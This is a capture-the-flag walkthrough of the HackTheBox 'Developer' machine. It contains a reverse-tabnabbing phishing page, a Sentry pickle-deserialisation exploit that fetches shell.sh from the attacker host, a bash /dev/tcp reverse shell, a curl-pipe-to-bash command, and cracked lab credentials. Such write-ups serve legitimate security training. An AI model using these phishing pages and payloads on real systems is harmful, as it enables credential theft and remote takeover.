A tricky machine where we had to phish the administrator to obtain the credentials using tabnabbing technique. Next exploiting sentry application to execute command injection. Third Stage is to reverse the binary and decode the message to obtain a password.
Stage 1: TabNabbing Attack
Stage 2: Sentry RCE
Stage 3: 64 bit ELF Reverse Engineering
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 10.129.219.217
Host is up (0.012s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
| 256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_ 256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://developer.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Network Distance: 2 hops
Service Info: Host: developer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.96 seconds
We have a domain from the nmap scan.
developer.htb
Enumeration
Port 80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
____ $ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://developer.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://developer.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
contact [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 195ms]
media [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 179ms]
profile [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 200ms]
admin [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 185ms]
static [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 181ms]
fileadmin [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 183ms]
dashboard [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 184ms]
I ran gobuster
and ffuf
but nothing interesting could be observed other than the /admin
route.
Browsing through the site we shall see login and signup options for the user. Let’s register ourself and sign in.
After logging in we see it’s CTF platform which has few challenges.
Let’s pickup a challenge and solve it.
Its an xlsx file. Let’s not try to open it directly as we don’t know what it contains. So lets do a reverse engineering.
Let’s try to find a flag submit.
Observations After Registration
I observed the only flag that the admin
account had pwn’d was a forensic. Since this was a simple xlsx file, against it and obtained the flag: DHTB{H1dD3N_C0LuMn5_FtW}
. Submission of the flag returned the ability to submit a writeup which was tabnabbing.
Tab Nabbing
From our enumeration, we already know we can cancel out session hijacking and clickjacking from our exploits as http only flag and cors are enabled on the browser.
We managed to observe some new information but without credentials we had to go back and think of a way to steal the credentails. I ran
a tcpdump -s 0 port http -i tun0 -w developer.pcap
and pointed the writeup to http://10.10.16.3/writeup
to observe the request.
As expected, nothing happens. We observe a simple GET request and see our writeup get removed after 2-5 seconds of the request. This tells us that is looking for something on the page.
On doing some research on what to exploit on the page i found a link with target="_blank"
but there rel noopener field which confirms a reverse tabnabbing exploit.
Observe below how we exploited this tabnabbing to obtain credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head></head>
<script>
if (window.opener) window.opener.parent.location.replace('http://10.10.16.3/login.html');
if (window.parent != window) window.parent.location.replace('http://10.10.16.3/login.html');
</script>
<body>
<a href='http://10.10.16.3/index.html' target='_blank' id='somettab'>
<script>
(() => {
document.getElementById('somettab').click();
window.location = 'http://10.10.16.3/login.html';
})();
</script>
</body>
</html>
How this exploit work?
When admin open the walkthrough page, he will displayed a blank page in a new tab and the parent from which the link was opened shall be redirected to our phishing page where we trick the administrator that he has logged out. So he shall login again with his credentials which now sent to our system.
After submitting, now we wait for the administrator to open our link and tricking him to login again.
We obtain the credentials: admin:SuperSecurePassword@HTB2021
Logging into the dashboard, we find a site our previous ffuf
did not pick up and add it to our /etc/hosts
file and navigate to the Sentry software.
We have a new domain developer-sentry.developer.htb
.
Sentry < 8.0.2 RCE
Create an account and we can view the members. Upon attempting both users with the credentials we obtained, we get a hit on Jacob. We can observe at the bottom left a version number of Sentry, 8.0.0
We are on jacob on sentry monitoring system as the user used same password again which is common for most of the system administrators.
Upon doing some research with the version of Sentry, found an exploit on Pickle deserialisation effecting versions from 8.0.2 and below.
https://doc.lagout.org/Others/synacktiv_advisory_sentry_pickle.pdf https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/
The exploit is similar to an RCE found on facebook server.
Both solutions exploit the vulnerbility in the Pickle deserialisation.
1
2
3
4
5
6
7
8
9
10
11
12
13
from cPickle import dumps
import subprocess
from base64 import b64encode
from zlib import compress
from shlex import split
class PickleExploit(object):
def __init__(self, command_line):
self.args = split(command_line)
def __reduce__(self):
return (subprocess.Popen, (self.args,))
print b64encode(compress(dumps(PickleExploit('wget http://10.10.16.3/shell.sh'))))
print b64encode(compress(dumps(PickleExploit('bash shell.sh'))))
1
2
# shell.sh
sh -i >& /dev/tcp/10.10.16.3/9001 0>&1
Request on our machine.
Priv Esc
After checking the /etc/passwd
to see what users are on the box, we see Karl
who has an account on Sentry we could not access.
Manual enumeration did not help me find the credentials for the sentry DB as the CTF platform DB miss-matched credentials so.
I used curl http://<my-ip>/linpeas.sh|bash
which found the password: SentryPassword2021
We can now use psql
and \dt
to view the tables. We now dump the entire contents and use hashmap
against Karl
.
1
pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=
We get: karl:insaneclownposse
Reversing ELF-64
It’s a 64 bit binary file on executing it prompts for a password
We need to find the password for prompting us to next step.
I used IDA pro demo version to reverse the binary.
authentication::main::h453271f02403abaf
is an authentication function being called in the main function.
Omg is this huge graph view of the code. Let’s decompile and go through the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
void authentication::main::h453271f02403abaf()
{
u8 *v0; // rax
__m128i *v1; // r15
usize v2; // rdx
usize len; // r14
__int64 v4; // rbx
std::path::Path *v5; // r14
std::ffi::os_str::OsStr *v6; // rax
std::ffi::os_str::OsStr *v7; // rax
core::option::Option<&[core::fmt::rt::v1::Argument]> v8; // xmm0
_str v9; // rdi
core::fmt::_Debug v10; // rdx
core::alloc::layout::Layout v11; // rdi
_str v12; // rdi
_str v13; // rdi
core::fmt::_Debug v14; // rdx
_str v15; // rdi
core::fmt::_Debug v16; // rdx
_str v17; // rdi
core::fmt::Arguments args; // [rsp+0h] [rbp-278h] BYREF
std::sys::unix::fd::FileDesc v19; // [rsp+30h] [rbp-248h] BYREF
void *ptr; // [rsp+40h] [rbp-238h] BYREF
__int128 v21; // [rsp+48h] [rbp-230h]
alloc::string::String buf; // [rsp+58h] [rbp-220h] BYREF
alloc::string::String v23; // [rsp+70h] [rbp-208h] BYREF
std::sys::unix::process::process_common::Command src; // [rsp+88h] [rbp-1F0h] BYREF
std::path::Path *self[2]; // [rsp+140h] [rbp-138h]
__int64 v26; // [rsp+150h] [rbp-128h]
__int128 v27; // [rsp+160h] [rbp-118h] BYREF
__int128 v28; // [rsp+170h] [rbp-108h] BYREF
u8 *v29; // [rsp+188h] [rbp-F0h]
__m128i si128; // [rsp+190h] [rbp-E8h]
std::process::Command dest; // [rsp+1A0h] [rbp-D8h] BYREF
std::io::stdio::_print::he89a42df6ab3cf66(args);
src.program.inner.data_ptr = (u8 *)&off_5CA28;
src.program.inner.length = 1LL;
*(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
src.args.len = (usize)&expr;
*(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
std::io::stdio::_print::he89a42df6ab3cf66(args);
*(_QWORD *)buf.vec.buf.alloc.gap0 = 1LL;
*(_OWORD *)&buf.vec.buf.cap = 0LL;
*(std::io::stdio::Stdin *)args.fmt.gap0 = std::io::stdio::stdin::hc2cffb6c5a105a21();
std::io::stdio::Stdin::read_line::h5588ba1257b0b8cc(
(core::result::Result<usize,std::io::error::Error> *)&src,
(std::io::stdio::Stdin *)&args.fmt,
&buf);
if ( LODWORD(src.program.inner.data_ptr) == 1 )
{
dest.inner.program = (std::ffi::c_str::CString)_mm_loadu_si128((const __m128i *)&src.program.inner.length);
v9.data_ptr = (u8 *)&msg;
v10.vtable = (usize (*)[3])&error;
v10.pointer = (u8 *)&dest;
v9.length = 21LL;
core::result::unwrap_failed::h87affc05a8b0ab4b(v9, v10);
}
if ( buf.vec.len )
{
if ( buf.vec.len != 1 && *(char *)(*(_QWORD *)buf.vec.buf.alloc.gap0 + buf.vec.len - 1) < -64 )
{
v12.data_ptr = (u8 *)&expr;
v12.length = 48LL;
core::panicking::panic::hf07a79f510cbbe28(v12);
}
--buf.vec.len;
}
v27 = xmmword_4A030;
v28 = xmmword_4A040;
v0 = _rust_alloc(0x20uLL, 1uLL);
if ( !v0 )
{
v11.size_ = 32LL;
v11.align_.__0 = 1LL;
alloc::alloc::handle_alloc_error::h42f533e7a939dec9(v11);
}
v1 = (__m128i *)v0;
*(_OWORD *)v0 = xmmword_4A000;
*((_OWORD *)v0 + 1) = xmmword_4A010;
v29 = v0;
si128 = _mm_load_si128((const __m128i *)&xmmword_4A020);
args.pieces.data_ptr = (_str *)crypto::aes::ctr::h2e946f13694abc7d(0LL, &v27, 16LL, &v28, 16LL);
args.pieces.length = v2;
len = buf.vec.len;
ptr = init;
v21 = 0LL;
alloc::raw_vec::RawVec$LT$T$C$A$GT$::reserve::he7b71bc27ab4fe50(&ptr, 0LL, buf.vec.len);
v4 = *((_QWORD *)&v21 + 1);
if ( len )
{
memset((char *)ptr + *((_QWORD *)&v21 + 1), 0, len);
v4 += len;
*((_QWORD *)&v21 + 1) = v4;
}
_$LT$alloc..boxed..Box$LT$dyn$u20$crypto..symmetriccipher..SynchronousStreamCipher$GT$$u20$as$u20$crypto..symmetriccipher..SynchronousStreamCipher$GT$::process::hf45a98c60671de4f(
&args,
*(_QWORD *)buf.vec.buf.alloc.gap0,
buf.vec.len,
ptr,
v4);
if ( *((_QWORD *)&v21 + 1) == 32LL
&& (ptr == v1
|| _mm_movemask_epi8(
_mm_and_si128(
_mm_cmpeq_epi8(_mm_loadu_si128((const __m128i *)ptr + 1), _mm_loadu_si128(v1 + 1)),
_mm_cmpeq_epi8(_mm_loadu_si128((const __m128i *)ptr), _mm_loadu_si128(v1)))) == 0xFFFF) )
{
src.program.inner.data_ptr = (u8 *)&off_5C988;
src.program.inner.length = 1LL;
*(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
src.args.len = (usize)&expr;
*(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
std::io::stdio::_print::he89a42df6ab3cf66(args);
src.program.inner.data_ptr = (u8 *)&off_5C998;
src.program.inner.length = 1LL;
*(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
src.args.len = (usize)&expr;
*(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
std::io::stdio::_print::he89a42df6ab3cf66(args);
*(_QWORD *)v23.vec.buf.alloc.gap0 = 1LL;
*(_OWORD *)&v23.vec.buf.cap = 0LL;
*(std::io::stdio::Stdin *)args.fmt.gap0 = std::io::stdio::stdin::hc2cffb6c5a105a21();
std::io::stdio::Stdin::read_line::h5588ba1257b0b8cc(
(core::result::Result<usize,std::io::error::Error> *)&src,
(std::io::stdio::Stdin *)&args.fmt,
&v23);
if ( LODWORD(src.program.inner.data_ptr) == 1 )
{
dest.inner.program = (std::ffi::c_str::CString)_mm_loadu_si128((const __m128i *)&src.program.inner.length);
v13.data_ptr = (u8 *)&msg;
v14.vtable = (usize (*)[3])&error;
v14.pointer = (u8 *)&dest;
v13.length = 21LL;
core::result::unwrap_failed::h87affc05a8b0ab4b(v13, v14);
}
if ( v23.vec.len )
{
if ( v23.vec.len != 1 && *(char *)(*(_QWORD *)v23.vec.buf.alloc.gap0 + v23.vec.len - 1) < -64 )
{
v17.data_ptr = (u8 *)&expr;
v17.length = 48LL;
core::panicking::panic::hf07a79f510cbbe28(v17);
}
--v23.vec.len;
}
*(_QWORD *)args.fmt.gap0 = &v23;
*(_QWORD *)&args.fmt.gap0[8] = &_$LT$alloc..string..String$u20$as$u20$core..fmt..Display$GT$::fmt::h490408f90bab08d9;
src.program.inner.data_ptr = (u8 *)&off_5C9C0;
src.program.inner.length = 2LL;
*(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
src.args.len = (usize)&args.fmt;
*(_QWORD *)src.argv.__0.buf.alloc.gap0 = 1LL;
alloc::fmt::format::h7300eb72625baa19((alloc::string::String *)&dest, args);
*(__m128i *)self = _mm_loadu_si128((const __m128i *)&dest);
v26 = *(_QWORD *)dest.inner.args.buf.alloc.gap0;
std::sys::unix::process::process_common::Command::new::h04bbc45d9ff37ff2(&src, (std::ffi::os_str::OsStr *)&program);
memcpy(&dest, &src, sizeof(dest));
v5 = self[0];
v6 = (std::ffi::os_str::OsStr *)_$LT$std..ffi..os_str..OsStr$u20$as$u20$core..convert..AsRef$LT$std..ffi..os_str..OsStr$GT$$GT$::as_ref::hbdf7b88a26c777f5((std::path::Path *)&::self);
std::sys::unix::process::process_common::Command::arg::h7659691a7f38b356(&dest.inner, v6);
v7 = (std::ffi::os_str::OsStr *)_$LT$std..ffi..os_str..OsStr$u20$as$u20$core..convert..AsRef$LT$std..ffi..os_str..OsStr$GT$$GT$::as_ref::hbdf7b88a26c777f5(v5);
std::sys::unix::process::process_common::Command::arg::h7659691a7f38b356(&dest.inner, v7);
std::process::Command::spawn::h2238bf1cbcf5d7f3(
(core::result::Result<std::process::Child,std::io::error::Error> *)&src,
&dest);
if ( LODWORD(src.program.inner.data_ptr) == 1 )
{
args.fmt = (core::option::Option<&[core::fmt::rt::v1::Argument]>)_mm_loadu_si128((const __m128i *)&src.program.inner.length);
v15.data_ptr = (u8 *)&byte_4A142;
v16.vtable = (usize (*)[3])&error;
v16.pointer = (u8 *)&args.fmt;
v15.length = 30LL;
core::result::unwrap_failed::h87affc05a8b0ab4b(v15, v16);
}
v19.fd = HIDWORD(src.args.len);
v8 = (core::option::Option<&[core::fmt::rt::v1::Argument]>)_mm_loadu_si128((const __m128i *)((char *)&src.program.inner.data_ptr
+ 4));
args.args = (__core::fmt::ArgumentV1_)_mm_loadu_si128((const __m128i *)(&src.args.buf.alloc + 4));
args.fmt = v8;
if ( *(_DWORD *)&v8.gap0[12] )
_$LT$std..sys..unix..fd..FileDesc$u20$as$u20$core..ops..drop..Drop$GT$::drop::hc99fbefbcf345fb9((std::sys::unix::fd::FileDesc *)&args.args);
if ( HIDWORD(args.args.data_ptr) )
_$LT$std..sys..unix..fd..FileDesc$u20$as$u20$core..ops..drop..Drop$GT$::drop::hc99fbefbcf345fb9((std::sys::unix::fd::FileDesc *)&args.args.length);
if ( HIDWORD(args.args.length) )
_$LT$std..sys..unix..fd..FileDesc$u20$as$u20$core..ops..drop..Drop$GT$::drop::hc99fbefbcf345fb9(&v19);
core::ptr::drop_in_place::h749e1a651f8a21b4(&dest);
src.program.inner.data_ptr = (u8 *)&off_5C9F8;
src.program.inner.length = 1LL;
*(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
src.args.len = (usize)&expr;
*(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
std::io::stdio::_print::he89a42df6ab3cf66(args);
if ( self[1] )
_rust_dealloc(v5);
if ( v23.vec.buf.cap )
_rust_dealloc(*(void **)v23.vec.buf.alloc.gap0);
}
else
{
src.program.inner.data_ptr = (u8 *)&off_5CA08;
src.program.inner.length = 1LL;
*(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
src.args.len = (usize)&expr;
*(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
std::io::stdio::_print::he89a42df6ab3cf66(args);
}
if ( (_QWORD)v21 )
_rust_dealloc(ptr);
(*(void (__fastcall **)(_str *))args.pieces.length)(args.pieces.data_ptr);
if ( *(_QWORD *)(args.pieces.length + 8) )
_rust_dealloc(args.pieces.data_ptr);
_rust_dealloc(v1);
if ( buf.vec.buf.cap )
_rust_dealloc(*(void **)buf.vec.buf.alloc.gap0);
}
Breaking the code, we found the paramters passed to a crypto aes-ctr -128 function wth endianess so we need to reverse the bytes.
eg : AB CD EF
-> EF CD AB
We then see the 16 byte key, IV and 32 byte Cipher being reversed.
1
2
3
INPUT 23205CFC58FD8078CA976A80F0251BFE + 2C15279F3AAFC0EBFAB502E5D0DBA26C
KEY 5F4BE3DD4209E6191795C3432E8A3h
IV 12006DC5598A79A95D2D9E3591F76h
We can now reverse the byte order and decrypt it. I have written small which automates the process and prints the results accordingly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import binascii
import os
from Crypto.Cipher import AES
from Crypto.Util import Counter
C1 = "23205CFC58FD8078CA976A80F0251BFE"
C2 = "2C15279F3AAFC0EBFAB502E5D0DBA26C"
KEY = "D5F5F4BE3DD4209E6191795C3432E8A3"
IV = "6A812006DC5598A79A95D2D9E3591F76"
def reverse(data):
n = 2
data = [data[i:i+n] for i in range(0, len(data), n)]
data = "".join(data[::-1])
return data
# if len(C1)%2 == 0:
# print(reverse(C1))
# else:
# print("bytes are not properly set")
INPUT = (reverse(C1) + reverse (C2)).decode('hex')
KEY = reverse(KEY).decode('hex')
IV = reverse(IV).decode('hex')
print("INPUT: ", INPUT)
print("KEY", KEY)
print("IV", IV)
def int_of_string(s):
return int(binascii.hexlify(s), 16)
def decrypt_message(key, IV, ciphertext):
ctr = Counter.new(128, initial_value=int_of_string(IV))
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
return aes.decrypt(ciphertext)
print(binascii.unhexlify(decrypt_message(KEY, IV, INPUT).encode('hex')))
Output: RustForSecurity@Developer@2021:)
Obtaining Root
We can now SSH using our private key into root.
We are root on the machine.